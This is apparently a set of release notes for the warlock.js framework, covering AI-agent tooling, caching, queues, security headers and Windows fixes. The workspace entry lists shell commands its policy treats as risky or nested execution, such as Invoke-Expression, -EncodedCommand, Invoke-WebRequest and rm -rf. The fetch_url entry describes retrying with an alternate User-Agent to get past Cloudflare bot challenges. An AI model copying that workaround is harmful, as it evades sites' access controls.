    • Addedcapabilities.contextWindow is reported for Groq-hosted Llama, gpt-oss, Qwen3 and DeepSeek-R1 distill ids (131,072) and Kimi K2 (262,144). New contextWindow option on groq.model.
    @warlock.js/ai-mistralAdded 1
    • Addedcapabilities.contextWindow is reported for Mistral ids (128,000 for Large, Medium, Small, Ministral, Pixtral and Magistral; 256,000 for Codestral). Newer generations document larger windows; set contextWindow on mistral.model for those.
    @warlock.js/ai-toolsAdded 1
    • AddedAn MCP tool result that contains an image content block (base64 data in a PNG, JPEG, WebP or GIF mimeType) is returned as { content: ToolResultPart[] }, so providers that read tool-result images show the picture to the model. Text blocks become text parts; results without images keep their shape.
    @warlock.js/ai-xaiAdded 1
    • Addedcapabilities.contextWindow is reported for Grok ids (2,000,000 for grok-4-fast/grok-4-1-fast, 256,000 for grok-4/grok-code-fast, 131,072 for grok-3/grok-2, 32,768 for grok-2-vision). New contextWindow option on xai.model.
    @warlock.js/coreAdded 1
    • Addednpx warlock release-notes includes the 5.45.0 notes: images in tool results, metered compaction summaries and length-retry control, clearAtLeast for tool-result clearing, context windows for every known model and modelContextWindow, Windows PowerShell 5.1 detection, several remembered shell approvals with refusal reasons, flat spilledTo on tool results, and the process supervisor's pidWaitMs / setupTimeoutMs.
    5.44.0
    November 5, 2026

    Window-relative compaction, model retries and cache diagnostics, plus workspace command rules, PowerShell support, forgiving edits and output spill.

    • Compaction and tool-result clearing can trigger on a share of the model's context window (afterTokens: { share, reserve?, max? }); adapters report contextWindow for common models.
    • ai.compaction.summarize({ input, requireHeadings }) limits what is sent to the summary model and checks the summary for the headings you need.
    • ai.retryModel(model, policy) retries transient failures with backoff, retry-after and a separate offline budget; cacheControl.key routes prompt caching, and opt-in fingerprints show why a cache stopped hitting.
    • Workspace shell.rules allow, ask or deny commands with an onAsk approval callback, and shell.interpreter runs bash, PowerShell, cmd or "auto" under the same checks.
    • Edits match in tiers with hints on a miss and keep line endings, hooks.afterEdit appends diagnostics, oversized output spills to a file, and fetch_url converts pages without optional peers.
    Upgrade notes
    • Workspace edit matching now defaults to "tiered"; set edit.matching: "exact" for the previous exact-only behaviour.
    • fetch_url text and markdown modes fall back to a built-in converter when the readability peers are missing (pass extractor: "readability" for the old error) and retry once on a cf-mitigated: challenge response (retryOnChallenge: false to disable).

    Full release notes or run npx warlock release-notes.

    @warlock.js/ai-workspaceAdded 9Changed 1
    • AddedCommand rules: shell.rules is an ordered list of { match, effect: "allow" | "ask" | "deny", reason? } (the last matching rule wins, a deny anywhere in a line refuses it) and shell.onAsk({ command, asks, signal }) decides on commands that need approval. With onAsk set, commands no rule matches, syntax the parser cannot read (reason: "unparsed") and runners the policy cannot see into ("nested") ask too; { allow: true, remember: pattern } allows later matching commands for the workspace's life (shared with readonly() and scope(), never over a deny). New refusal reasons "approval-required" (an ask rule and no onAsk) and "approval-denied".
    • Addedworkspace.shell.classify(line) and classifyShellCommand(line, policy?) return the simple commands a line would run, or opaque with the reason when it cannot be read. checkShellCommand takes an options argument (remembered, host, resolved) and its result gains asks.
    • Addedshell.interpreter accepts "bash", "powershell", "cmd" and "auto", plus shell.interpreterPath. Each shell has its own parser feeding the same deny / allow / denyPatterns / allowCommand / rule and path-jail checks. PowerShell runs with -NoLogo -NoProfile -NonInteractive -Command; its dialect covers ;, &&, ||, pipelines, $( ), the call operator and the usual redirections, refuses script blocks, splatting, here-strings, --%, statements and dot-sourcing, treats Invoke-Expression, Invoke-Command, Start-Process, Add-Type, Set-Alias and -EncodedCommand as nested execution, keeps Set-Location / cd inside the jail, and checks Remove-Item, Copy-Item, Move-Item, Get-ChildItem, Get-Content, Invoke-WebRequest, Stop-Process and their aliases in a canonical rm -rf-style form as well. "auto" picks bash then sh on POSIX and pwsh, powershell, Git Bash, cmd.exe on Windows. resolveShell() is exported.
    • Addedrun_shell's description names the resolved shell and its syntax rules; run_tests quotes its pattern for each shell.
    • AddedNew types WorkspaceCommandRule, WorkspaceCommandDecision, WorkspaceShellOnAsk, WorkspaceShellAskRequest, WorkspaceShellAskDecision, WorkspaceShellAsk, WorkspaceShellAskReason and WorkspaceShellClassification.
    • AddedTiered edit matching. edit_file and multi_edit now find oldString exactly first, then with line endings normalised, then with look-alike Unicode punctuation folded (matchTier: "unicode"), then line by line ignoring trailing whitespace (matchTier: "whitespace"). A loose match must be unique, even with replaceAll. Replacement text takes the file's dominant line ending, so CRLF files stay CRLF. New policy.edit: matching ("tiered" default, "exact" for the old behaviour), missHintLines and lineEndings.
    • AddedA not-found edit error carries a hint: the closest file text (at most 12 lines of 200 characters) or a note that newString is already present.
    • Addedpolicy.hooks.afterEdit: runs once after write_file, edit_file, multi_edit and apply_patch write files and returns its text as diagnostics between [diagnostics] lines. A throw or a timeout reports "diagnostics unavailable" and never fails the edit. afterEditMaxChars (default 4000) and afterEditTimeoutMs (default 10 s) bound it.
    • Addedpolicy.output: with spillDir, oversized run_shell, shell_output, grep, glob and read_file output is saved to a spill-<time>-<random>-<label>.txt file and the result keeps its head and tail plus a [showing lines … of …; full output saved to …] marker. Results gain a truncation object beside the boolean truncated. read_file may open the spill directory; retentionMs (7 days) and dispose() clean up files named like spill files. globResult() is an optional WorkspaceOps method returning the paths with truncation data.
    • ChangedresolveInJail() takes an optional access argument ("read" also accepts the spill directory).
    @warlock.js/aiAdded 8Changed 1
    • AddedWindow-relative triggers. compaction.afterTokens and contextEditing.clearToolResults.afterTokens accept { share, reserve?, max? } besides a number, resolved against the new capabilities.contextWindow of the model: the threshold is min(floor(window * share), window - reserve, max), never below 1, and it also fires when inputTokens + maxOutputTokens > window - reserve. A window-relative trigger on a model with an unknown window never fires; compaction records one skipped entry with reason: "unknown-window". Numeric triggers behave as before. TokenTrigger is exported.
    • AddedModelCapabilities.contextWindow (tokens, input plus output) for adapters to fill.
    • Addedai.compaction.summarize({ input }) shrinks what is sent to the summary model, never the live history: maxInputTokens, clipToolOutputChars, dropToolOutputsOlderThan and shrinkOnContextError: [0.85, 0.7] (retry shares after a context-length rejection). Steps run oldest first and never touch the newest exchange: tool outputs clipped, replaced by a placeholder, user text only, oldest messages omitted. A reply cut by the output cap is retried once with a smaller input, never at the same size.
    • Addedai.compaction.summarize({ requireHeadings }) checks the summary for the headings and sends exactly one corrective follow-up before failing as a callback-error skip. ai.compaction.DEFAULT_COMPACTION_TEMPLATE and DEFAULT_COMPACTION_HEADINGS (Goal, Constraints, Decisions, Work state, Next step, Relevant files) are the ready structure.
    • AddedCompaction records carry summarizerInputTokens and attempts when the summariser reports them.
    • Addedai.retryModel(model, policy?) (retryModel) retries transient failures on the same model before they reach the caller. RetryPolicy: attempts (default 3), baseMs (500), backoff, maxDelayMs (30000), jitter (largest random multiplier, for example 1.2), retryOn (codes or predicate; default rate-limit, overloaded, timeout and provider errors), honorRetryAfter (true, false or { maxMs }; waits at least the provider's retryAfter, up to 15 minutes by default), offline: { budgetMs, maxDelayMs } (keeps retrying ENOTFOUND, EAI_AGAIN, ENETUNREACH, EHOSTUNREACH and ENETDOWN failures on a separate budget that does not use attempts; ECONNREFUSED is not offline), maxTimeouts, and onRetry({ attempt, delayMs, cause, budget }) with budget: "general" | "offline". An x-should-retry header on the error's context.headers overrides the decision. stream() retries only before the first content chunk. Without the wrapper nothing changes.
    • AddedModelCallOptions.cacheControl.key is a routing key for prompt caching. Adapters whose provider takes one (OpenAI-compatible prompt_cache_key) send it in place of the adapter-level default; others ignore it.
    • Addedagent({ diagnostics: { cacheFingerprint: true } }) hashes the system prompt, the tool definitions and the message prefix of every trip. LLMTrip.promptFingerprint holds each trip's hashes and AgentReport.promptFingerprint the last trip's ({ system, tools, messagesPrefix }). When a trip reads far fewer cached tokens than the previous trip read or wrote and the request changed, the agent emits agent.trip.cache-miss-cause with the changed segments ("system", "tools", "messages", "options"), never on a cold first trip. Only hashes are kept.
    • ChangedcontextEditing.clearToolResults without afterTokens logs a one-time warning per run: it rewrites the history every trip, which defeats prompt caching on providers without native context editing.
    @warlock.js/ai-toolsAdded 2Changed 2Fixed 1
    • Addedfetch_url takes extractor: "auto" | "readability" | "simple" for the "text" / "markdown" modes. "auto" (default) uses readability when its optional peers load and it yields at least 200 characters, otherwise a new dependency-free HTML converter; "simple" always uses that converter; "readability" keeps requiring the peers. The result carries extractor naming the converter used.
    • Addedfetch_url takes retryOnChallenge to control the challenge retry described below.
    • Changedfetch_url now retries once with an alternate User-Agent, through the same outbound policy, when the first response carries a cf-mitigated: challenge header (retryOnChallenge, default true; set false to disable). Previously there was no retry.
    • ChangedWith the readability peers absent, fetch_url in "text" / "markdown" mode now falls back to the built-in converter under the default "auto" extractor instead of failing with a missing-peer error. Pass extractor: "readability" to keep the strict behaviour.
    • Fixedfetch_url truncation at maxBytes no longer splits a multi-byte UTF-8 character into a replacement character.
    @warlock.js/ai-openaiAdded 2
    • Addedopenai.model({ name, contextWindow }) sets capabilities.contextWindow; without it the window comes from a table of OpenAI models, and unknown models stay unset so window-relative compaction.afterTokens triggers do not fire.
    • AddedModelCallOptions.cacheControl.key is sent as prompt_cache_key on Chat Completions and Responses requests for the providers that accept it (OpenAI, xAI, Mistral), and takes precedence over the model's promptCacheKey. Groq, DeepSeek and custom provider labels still receive no cache key.
    @warlock.js/ai-anthropicAdded 1
    • Addedanthropic.model({ name, contextWindow }) sets capabilities.contextWindow; without it the window comes from a table of 200K Claude models, and unknown models stay unset so window-relative compaction.afterTokens triggers do not fire.
    @warlock.js/ai-googleAdded 1
    • Addedgoogle.model({ name, contextWindow }) sets capabilities.contextWindow; without it the window comes from the 1M Gemini families, and unknown models stay unset so window-relative compaction.afterTokens triggers do not fire.
    @warlock.js/coreAdded 1
    • Addednpx warlock release-notes includes the 5.44.0 notes: window-relative compaction triggers and model context windows, compaction summariser input limits and required headings, ai.retryModel, per-call prompt cache keys and cache fingerprint diagnostics, workspace command rules with approval, bash/PowerShell/cmd interpreters, tiered edit matching, the afterEdit hook, spilled tool output, and the fetch_url built-in extractor.
    5.43.0
    November 1, 2026

    Sliding cache expiry, idempotent runs, probabilistic cache structures, job timeouts, and fewer AI model calls.

    • cache.extend(key, ttl) keeps a value and resets its expiry to ttl from now, on every driver.
    • idempotent(key, fn, { ttl }) runs concurrent calls with one key once and replays the stored result within ttl: the Idempotency-Key pattern for payments, webhooks and retried jobs.
    • cache.structures adds Bloom and Cuckoo filters, a HyperLogLog unique counter and a Count-Min frequency tracker with Top-K, on Redis and the memory drivers.
    • Jobs take timeout and failOnTimeout: an attempt that runs too long fails with JobTimeoutError, and handlers get ctx.signal to stop work.
    • ai.semanticRouter() routes supervisor runs by embedding similarity and only asks the model when unsure; tools can memoize results, and ai.middleware.dedupe() shares identical in-flight model calls.
    Upgrade notes
    • A custom cache driver that implements CacheDriver directly, without extending BaseCacheDriver, must add extend(key, ttl).

    Full release notes or run npx warlock release-notes.

    @warlock.js/aiAdded 4
    • Addedai.semanticRouter({ name, embedder, intents, examples, confidence: { min, margin }, fallback, store?, learn?, messageCache? }) routes the first iteration of a supervisor run by embedding similarity to example phrases and sends only unsure messages to fallback (usually ai.router({ model, intents })). It plugs into ai.supervisor({ router }). examples keys are validated against intents; an intent without examples is reachable only through the fallback. Example vectors are embedded once and stored under supervisor name, embedder model, intent and phrase hash, in process memory by default or in any @warlock.js/cache driver (Redis, pg) through store; changed phrases or a new embedder recompute only what changed and unused entries are removed. Scoring uses an in-memory copy, message embeddings are cached by exact text (messageCache), and warm() embeds ahead of the first message. learn: true | { maxPerIntent, minScore } stores agreeing fallback decisions as new examples, capped per intent.
    • AddedIteration decision records and the supervisor.router.decided event carry routedBy: "semantic" | "fallback", score and runnerUp when a semantic router decided (RouterDecisionMeta).
    • Addedmemoize: true | { scope: "run" | "session", ttl? } on a tool reuses the result of an identical call (arguments compared with sorted keys) inside the run, or across runs of one sessionId, for read-only tools. Failed calls are not kept. A reused result is marked memoized: true on its ToolCall record and in the agent.tool.called event.
    • Addedai.middleware.dedupe({ name?, key? }) makes identical model calls that are in flight at the same moment share one provider call; waiting runs get the response with zero usage. Streaming runs are not deduplicated. MiddlewareExecuteContext.streaming tells middleware whether the run uses agent.stream().
    @warlock.js/cacheAdded 3
    • Addedcache.extend(key, ttl) keeps a cached value and resets its expiry to ttl from now (a sliding expiry such as "keep the session another 30 minutes"). It does not add ttl to the time left, resolves to false for a missing or expired key, and accepts the same seconds and duration strings as set (0 or Infinity removes the expiry). It is implemented on every driver (Redis PEXPIRE, Postgres UPDATE, in-place on the memory family and mock, read-and-rewrite on file and on custom BaseCacheDriver subclasses) and forwarded by namespaces and tagged caches.
    • Addedidempotent(key, fn, { ttl }), also cache.idempotent(...): concurrent calls with one key share a single run, and repeat calls within ttl return the stored result (the Idempotency-Key pattern for payments, webhooks and retried jobs). ttl: 0 is pure in-flight dedupe that never touches the store; a failed run is never stored; distributed: true uses the cache lock so servers sharing a driver run fn once.
    • Addedcache.structures offers bloom, cuckoo, uniqueCounter (HyperLogLog, with uniqueCounter.merge(keys)) and frequency (Count-Min plus Top-K) in a few kilobytes. They run on Redis (RedisBloom when the server has it, bitmaps, hashes, native HyperLogLog and sorted sets otherwise) and on the memory, memoryExtended and lru drivers; other drivers throw CacheUnsupportedError. A custom driver opts in by implementing structuresBackend().
    @warlock.js/queueAdded 2
    • AddedJob timeouts: defineJob({ timeout: "2m", failOnTimeout?: boolean }), also accepted per dispatch and in queue.defaultJobOptions (dispatch > defineJob > defaults). An attempt that outlives its limit fails with the new exported JobTimeoutError (job name, limit in timeout, failOnTimeout), so failed jobs and events show a clear reason, and normal attempts and backoff apply. failOnTimeout: true fails the job without retrying (BullMQ UnrecoverableError on Redis). Enforced in the shared processing path, so BullMQ, local and memory behave the same. A zero, negative or unparsable timeout throws.
    • Addedctx.signal is now passed to handlers on every driver whenever the job has a timeout, and aborts with the JobTimeoutError. A handler that ignores the signal keeps running in the background after its attempt fails, so pass the signal to fetch and database calls.
    @warlock.js/coreAdded 1
    • Addednpx warlock release-notes includes the 5.43.0 notes: sliding cache expiry (cache.extend), idempotent(), probabilistic cache structures, job timeouts, and AI semantic routing, tool-result memoization and in-flight model-call dedupe.
    5.42.0
    November 1, 2026

    Security headers on every response, and per-route body limits that work in development and tests.

    • http.securityHeaders is on by default: no site can frame your app, browsers stop guessing content types, and the camera, microphone and location stay limited to your own pages (HSTS in production).
    • The headers cover routed handlers, static files, 404s, early refusals and SSR pages; turn any header off, or override it per route with the securityHeaders route option.
    • A route's serverOptions.bodyLimit and preParsing hooks now apply under warlock dev and the HTTP test server, not only in production.
    • Pages no longer log a hydration mismatch on nonced scripts under a CSP header.
    Upgrade notes
    • If your app frames its own pages, set http.securityHeaders.frameAncestors to "self" or a list of sites; an embeddable route can opt out with the securityHeaders route option.

    Full release notes or run npx warlock release-notes.

    @warlock.js/coreAdded 4Changed 1Fixed 3
    • Addedhttp.securityHeaders: security response headers on every response, on by default. They are set in the server's first onRequest hook on the Node response, so routed handlers, static files, 404s, early refusals (CORS, 413, 429, 405, malformed URLs, the page host's refusals), SSR pages and handlers that call reply.raw.writeHead() all carry them, in production, warlock dev and createTestHttpServer. Defaults: CSP frame-ancestors 'none' with X-Frame-Options: DENY, X-Content-Type-Options: nosniff, Referrer-Policy: strict-origin-when-cross-origin, a Permissions-Policy that keeps camera, microphone and geolocation to the app's own pages and turns accelerometer, gyroscope, magnetometer and usb off, and, in production only, Strict-Transport-Security: max-age=31536000; includeSubDomains (preload is opt-in). Each header is configurable or false; http.securityHeaders: false disables all.
    • AddedA route can override or opt out with the securityHeaders route option, for example an embeddable widget with its own frameAncestors.
    • AddedWith http.csp on, the response carries one Content-Security-Policy header with frame-ancestors once; a frame-ancestors in http.csp.directives wins over securityHeaders.frameAncestors.
    • AddedExported buildSecurityHeaders, mergeSecurityHeadersConfig, resolveSecurityHeadersConfig, applySecurityHeadersToRaw, applyRouteSecurityHeaders, registerSecurityHeaders, serializePermissionsPolicy, frameOptionsFor, frameAncestorSources, effectiveFrameAncestors, DEFAULT_PERMISSIONS_POLICY, DEFAULT_REFERRER_POLICY, DEFAULT_HSTS_MAX_AGE, SECURITY_HEADER_NAMES and the types SecurityHeadersConfig, HstsConfig, FrameAncestorsPolicy, RouteSecurityHeaders.
    • ChangedApps that do not set http.securityHeaders now send the headers above. Pages that frame your own site need frameAncestors: "self"; embedded third-party frames that use the camera, microphone or geolocation need to be listed in permissionsPolicy. Opt out with http.securityHeaders: false.
    • FixedA route's serverOptions.bodyLimit now works under warlock dev and the HTTP test server. Both used to answer 413 for every body above the global limit, so the option only took effect in a production build. The dev dispatcher now holds each request to its matched route's bodyLimit (the global http.bodyLimit otherwise): a declared Content-Length above the limit is refused before the body is read, and a chunked body is counted as it streams and refused as soon as it passes the limit, with the same 413 FST_ERR_CTP_BODY_TOO_LARGE as production. Changing a limit applies on the next hot reload. Multipart uploads stay bounded by http.fileUploadLimit.
    • FixedA route's serverOptions.preParsing hooks now run in the dev server, and may replace the payload stream, as in production.
    • FixedThe dev server warns about serverOptions it cannot apply. One boot warning per route and key for schema, errorHandler, onSend, onResponse and the other registration-time options, so a dev/production difference is no longer silent.
    @warlock.js/webFixed 1
    • FixedPages no longer log a React hydration mismatch on the nonced <script> tags when the response carries a Content-Security-Policy header (which the default security headers now always send, and http.csp sent before). Browsers hide a nonce's value from the DOM under a CSP, so the framework's payload, route-table and client-entry scripts now suppress that one expected difference.
    5.41.0
    October 29, 2026

    Mantine joins shadcn/ui as a second UI kit for the design system.

    • warlock add design-system --kit mantine (or warlock add mantine) installs Mantine without Tailwind, with the same component files, props and hooks as the shadcn kit.
    • Every control binds to Mongez React Form, so app code and generators work with either kit.
    • New helpers: notify and notifyOnSubmit for form toasts, confirm(), and a PaginatedTable for paginated list responses.
    • create-warlock gains --ui=<shadcn|mantine|none> and a "Full-stack web with Mantine" menu entry.
    Upgrade notes
    • Nothing to change for apps on the shadcn kit. To switch to Mantine, remove the shadcn kit's files and dependencies, then run the command again.

    Full release notes or run npx warlock release-notes.

    @warlock.js/coreAdded 3
    • AddedA second UI kit for the design system: Mantine. warlock add design-system --kit mantine (or warlock add mantine) installs Mantine with the same component files, props, hooks and validation-error display as the shadcn kit, bound to Mongez React Form (@mantine/form is not used). It does not need Tailwind. It adds exact versions of @mantine/core, hooks, dates, notifications, modals and dayjs, writes postcss.config.mjs with postcss-preset-mantine, puts Mantine's stylesheet imports in src/web/app.css, and wires src/web/root.tsx (colour scheme script, mantineHtmlProps, and a provider mounting MantineProvider, the modals manager and the notifications host). Existing files are preserved, and a root with a custom shape is left alone with the lines to add printed.
    • AddedThe Mantine kit ships src/web/design-system/mantine-theme.ts (the design tokens you edit), notify and notifyOnSubmit (toasts that plug into useSubmitForm and useSubmitAction), confirm() and a PaginatedTable shaped after the paginated list response.
    • Addedwarlock add design-system --kit <shadcn|mantine>: shadcn stays the default and still requires Tailwind. The two kits exclude each other: asking for one while the other is installed (detected from files and dependencies), or both in one command, fails before anything is installed or written, with the steps to switch.
    @warlock.js/webAdded 1
    • AddedThe use-the-mantine-kit skill topic covers the Mantine kit of the design system (warlock add design-system --kit mantine): setup, theme, the shared control contract, notify/notifyOnSubmit with useSubmitForm and useSubmitAction, confirm(), PaginatedTable and switching kits. build-accessible-controls now names the two kits.
    create-warlockAdded 1
    • Added--ui=<shadcn|mantine|none> chooses the UI kit of a web app. --ui=mantine (or --features=mantine) scaffolds the Mantine kit without Tailwind; shadcn stays the default for --stack=web. The interactive stack menu gains a "Full-stack web with Mantine" entry, and Customize lists Mantine among the rendering features. The two kits exclude each other: shadcn with mantine, or --ui with a conflicting feature, fails before any file is written.
    5.40.1
    October 29, 2026

    New web projects install their features again, and the design-system files pass the app's lint.

    • create-warlock --stack=web (and any scaffold with web, tailwind, shadcn, design-system or sitemap) no longer reports every feature as failed.
    • warlock add continues with a warning when the project config cannot load yet.
    • Files written by warlock add design-system pass the scaffolded Oxlint config.
    Upgrade notes
    • A web app scaffolded on 5.35 to 5.40.0 without its features: run npx warlock add web (then any other features you chose) after updating. For lint errors in src/web/design-system/, rerun npx warlock add design-system.

    Full release notes or run npx warlock release-notes.

    @warlock.js/coreFixed 3
    • Fixedwarlock add no longer stops when warlock.config.ts cannot be loaded. A config that imports a package which is not installed yet (for example the web connector, before warlock add web has installed it) printed Failed to load warlock.config.ts and aborted the very command that installs the missing package. The command now prints a warning and continues without the config.
    • FixedA failed warlock.config.ts load is no longer cached, so a later load in the same process retries instead of replaying the first error.
    • Fixedwarlock add design-system writes controls and hooks that pass the app's Oxlint config; before, warlock dev reported curly and react(immutability) errors in src/web/design-system/.
    create-warlockFixed 3
    • Fixedcreate-warlock --stack=web (and any scaffold that selects web, tailwind, shadcn, design-system or sitemap) failed in the feature step with Failed to load warlock.config.ts: Cannot find package '@warlock.js/web', leaving no feature installed. The web starter's warlock.config.ts imports the web connector, but @warlock.js/web was only added to package.json by the first warlock add, which could not start without it. The package is now part of the project's first install, at the same version as the other @warlock.js packages.
    • Fixednpm run typecheck:scaffold can now scaffold the web stack (-- --stack=web), and the CI "Fresh scaffold typechecks" job runs it for both stacks.
    • FixedThe design-system files copied into a web app failed the app's own Oxlint config (curly, and react(immutability) on ref writes), so warlock dev reported 13 lint errors in src/web/design-system/. They now pass, and a spec lints the template with the scaffolded config.
    5.40.0
    October 29, 2026

    warlock check finishes on large apps, a steadier dev server, tested Windows support, and more control over AI agents.

    • warlock check no longer runs for tens of minutes on a large app (about 7,500 files take about 14 seconds), prints progress, and skips a rule that exceeds its 30-second budget with WL9026.
    • Development server: the first page waits for the compile, reloads touch only real importers, requests wait out a reload, and appSingleton() keeps one instance across reloads.
    • Windows: a more reliable process supervisor, fixes for image variants, typecheck paths and atomic JSON writes, and the fs, process, core, web and ai suites now run on Windows in CI.
    • AI agents can end a turn after a tool (stopAfterTools, stopWhen), clear old tool results (contextEditing), build one price list (ai.pricing()), report spend, and remember tool approvals per session.
    • xAI and OpenAI route native web search to the Responses API; every first-party adapter lists live models; ai-workspace adds an atomic apply_patch tool.
    • A manual beginTransaction() now covers the caller's later queries.
    Upgrade notes
    • FinishReason has a new member, "tool_stop": add a case where you switch over every finish reason. http.log: true now writes one line per request; set http.logPhases: "info" to keep per-phase lines. Code that calls beginTransaction() must commit or roll back, because later queries now run inside it.

    Full release notes or run npx warlock release-notes.

    @warlock.js/coreAdded 5Changed 2Fixed 16
    • Addedhttp.logPhases: "info" brings back the per-phase request lines at info. They are written at debug by default (see Changed).
    • AddedappSingleton(key, create, { dispose, disposeOnReload }), with peekAppSingleton, disposeAppSingleton and disposeAllAppSingletons: process-wide values stored on globalThis under Symbol.for(key). In warlock dev a source file can be evaluated more than once (every hot reload creates a new generation, and a module that must stay in the page renderer's Vite graph is a second copy), so a module-level variable installed by a connector can read as empty in a route. A singleton is shared by every copy, is disposed on application shutdown and dev restart, and with disposeOnReload is disposed when its module reloads.
    • AddedA dev-server hot reload now runs in a fixed order: new requests wait, requests already running finish on the old code (up to 5 seconds), the old modules are disposed and the new ones imported, then the held requests continue on the new code. A request that waits more than 15 seconds for a reload is answered with 503 and Retry-After instead of failing midway or getting a 404. Exports reloadGate and whenReloadSettled for code that needs to wait for a reload.
    • Addedwarlock check prints one line to stderr when each step starts and ends, and the conventions step reports its milestones (facts collected, every 1000 files with the slowest rule so far). stdout is unchanged, so --json still prints only the JSON report.
    • AddedEach convention rule has a time budget over a run (30 seconds by default). A rule that goes over it is skipped for the remaining files and reported as a WL9026 warning naming the rule and the time it used, instead of hanging the command. Set ruleBudgetMs in .warlock-check.json to change it; 0 turns it off.
    • ChangedWith http.log: true, each request now writes one info summary line (GET /orders 200 12ms [request id]) and its per-phase lines (executing, middleware, handler, response, and the validation steps) at debug, so a polled endpoint no longer floods the log. Warnings and errors keep their level, and a 5xx still leaves its single request.<phase> error record instead of a summary line. Set http.logPhases: "info" for the old verbose output.
    • ChangedDocumented that Application.onceBooted / whenBooted is the app-level ready hook: it runs after every connector has booted and started, in warlock dev, warlock start and production builds, once per process (HMR reloads do not re-run it).
    • FixedOn Windows, image variants failed with a 500 when the cache folder sat deeper than about 100 characters under the project: sharp cannot open a path over 260 characters, and the temporary file name carried the full 64-character hash. The temporary file is now a short .t-<random>.tmp beside the target; stale ones are still cleaned up, and the older .tmp- names are still recognised.
    • FixedOn Windows, warlock typecheck, warlock check (changed-file selection) and warlock inspect compared the compiler's forward-slash paths with backslash paths and found no files or imports, so aliased imports looked unresolved and changed-file runs checked nothing. Paths are now normalised.
    • FixedThe development model registry kept a different key for a deleted model than for the published one when the project path contained a Windows 8.3 short name or a link, so removals were not recorded against the right entry.
    • FixedThe capability inventory could report the framework's own file as the place a capability was defined when running on Windows.
    • FixedThe end-to-end browser finder built Linux and macOS candidate paths with the host's path rules; it now uses the rules of the platform it is asked about. The test-worker recommendation reads Linux cgroup paths with POSIX rules on every host.
    • FixedOn Windows, the end-to-end app fixture linked the project's pnpm node_modules folder as a whole, which made every package look missing (Windows resolves pnpm's relative links against the junction, not the folder that holds them). Each package is now linked on its own there.
    • FixedOn Windows, the end-to-end browser (and app fixture) started with an environment that had no LOCALAPPDATA, so Chrome could not find an app-data folder, ignored the owned profile and never opened its DevTools endpoint. The isolated environment now gives Windows programs an app-data folder inside the owned directory, plus the system variables they need to start.
    • FixedOn Windows, the end-to-end browser teardown failed when one of the browser's helper processes exited while its process tree was being ended; that case is no longer an error.
    • FixedOn Windows, warlock release linked node_modules into the frozen source and the staged release with a directory symlink, which needs administrator rights; it now uses a junction, which does not (no change on Linux and macOS).
    • FixedA hot reload after a small edit re-processed and re-imported thousands of modules (a three-file change reported +2309 modules and took almost a minute). Importers that reach the changed file only through import type / export type are no longer invalidated (the compiler erases those imports), only the changed files are re-read from disk, and the +N modules count is now reported per changed file instead of as a running total.
    • FixedStarting warlock dev on a large app spent most of its scan time re-parsing every known file each time a new file was added, so the work grew with the square of the file count. Only files that mention the new file are checked now.
    • FixedThe typings manifest and other small JSON state files were written in place, so another process reading one during a rewrite could see a truncated file and fail with Unexpected end of JSON input. They are now written to a temporary file and renamed.
    • Fixedwarlock check could run for tens of minutes in the conventions step on a large app. The .client boundary rule (WL9022) re-read, re-parsed and re-resolved every shared file for each controller, service, model and route it checked, so the work grew with server-only files times the size of the import graph. Import chains are now read once per run and files known to reach no .client module are never walked again, which makes the step roughly linear in the number of files.
    • FixedThe conventions step listed and parsed the project twice to collect its project-wide facts; it now lists the files once.
    • FixedA check over thousands of files stalled for several seconds at a time, and used far more memory than needed, because every parsed syntax tree kept its parent links in a WeakMap, which the garbage collector resolves slowly once many trees are alive. Parent links are now stored on the nodes themselves, and each file is parsed once per rule instead of several times; the conventions step on a 7,500-file app dropped from about 105 s to about 14 s, and no rule is skipped by the time budget.
    • FixedA spec or test file placed next to a CLI command (for example import-guides.command.spec.ts beside import-guides.command.ts) no longer breaks warlock migrate and every other CLI command. Command discovery now skips *.spec.* and *.test.* files, so a vi.mock() call in a test is never imported outside Vitest. The same rule now applies to main, routes, worker, events and locale files.
    @warlock.js/aiAdded 11Changed 2
    • Addedai.snapshot.sqlite({ path }) stores have a close() method that closes the database file the store opened. Call it before deleting or moving the file: Windows refuses to delete a file that is still open. A database passed as database is never closed by the store. The store reopens on its next call.
    • Addedlint: { ignore: [codes] } on a tool, and ignore in ai.config({ toolLint }), drop chosen schema-lint finding codes (for example missing-additional-properties-false) for schemas an app deliberately sends as is, such as remote MCP tools. Ignored findings are left out of the report and never warn.
    • AddedEnd an agent run right after a tool, with no further model call: stopAfterTools: ["post_message"] and stopWhen: ({ toolCalls, text, usage, messages, tripIndex }) => boolean on the agent, and endsTurn: true | ({ input, output }) => boolean on a tool. The trip is recorded with the new finishReason: "tool_stop", result.text is the text the model wrote beside the calls, and usage covers only the calls made. A failed tool call never stops the run through stopAfterTools or endsTurn. mode: "silent" keeps working as before.
    • AddedcontextEditing: { clearToolResults: { afterTokens?, keep?, exclude?, placeholder?, countTokens? } } on the agent clears old tool results from the history before each model call, with no summarizing call and with every tool call still paired to its result. It runs before compaction. A model that advertises the new capabilities.nativeContextEditing receives the rule as ModelCallOptions.contextEditing instead, and native: false forces client-side clearing.
    • Addedai.pricing({ tables }) (pricingCatalogue) builds one overridable price list from provider tables such as ANTHROPIC_MODEL_PRICING: later tables win, .set(model, pricing) overrides, dated snapshot ids resolve to their alias, and .cost() / .costUSD() price a Usage. budget({ pricing }) accepts a catalogue.
    • Addedbudget({ onSpend }) is called after every model call, before the caps are compared, with the model, session id, usage, USD cost and running totals, so spend can be persisted. A failing hook never fails the run.
    • Addedscoped: { window: "all" } keeps a budget ledger that never resets, for per-session or lifetime caps. With key set from context.options?.sessionId it caps one session; reserve refuses the call before it is made.
    • Addedai.human.approval() accepts per-tool modes (tools: { read_file: "allow", delete_file: "deny", run_shell: "ask" }, defaultMode, denyReason), and policy is now optional when modes cover the tools.
    • Addedai.human.approval({ remember }) remembers an approval for the rest of the session: a handler decision { type: "approve", remember: "tool" | "args" } auto-approves that tool, or that tool with identical arguments, for later calls with the same sessionId. ai.human.approvalMemory() is the in-process memory; implement ApprovalMemory to persist approvals.
    • AddedSDKAdapterContract.models?() and the ModelInfo / ModelKind / ListModelsOptions types give every adapter one shape for a live model listing (id, label, provider, kind, and created, contextWindow, maxOutputTokens, description when the provider reports them). An adapter without a listing API has no models method.
    • AddedinferModelKind(id) classifies a model id as chat, embedding, image, audio, moderation or other, for providers whose listing carries no modality field.
    • ChangedThe [ai.tool][schema.lint] warning is remembered process-wide, so a tool definition evaluated twice in one process (a dev reload) prints its findings once.
    • ChangedFinishReason has a new member, "tool_stop", set by the agent on a trip that a stop rule ended. Code that switches exhaustively on LLMTrip.finishReason should handle it.
    @warlock.js/processAdded 2Changed 2Fixed 4
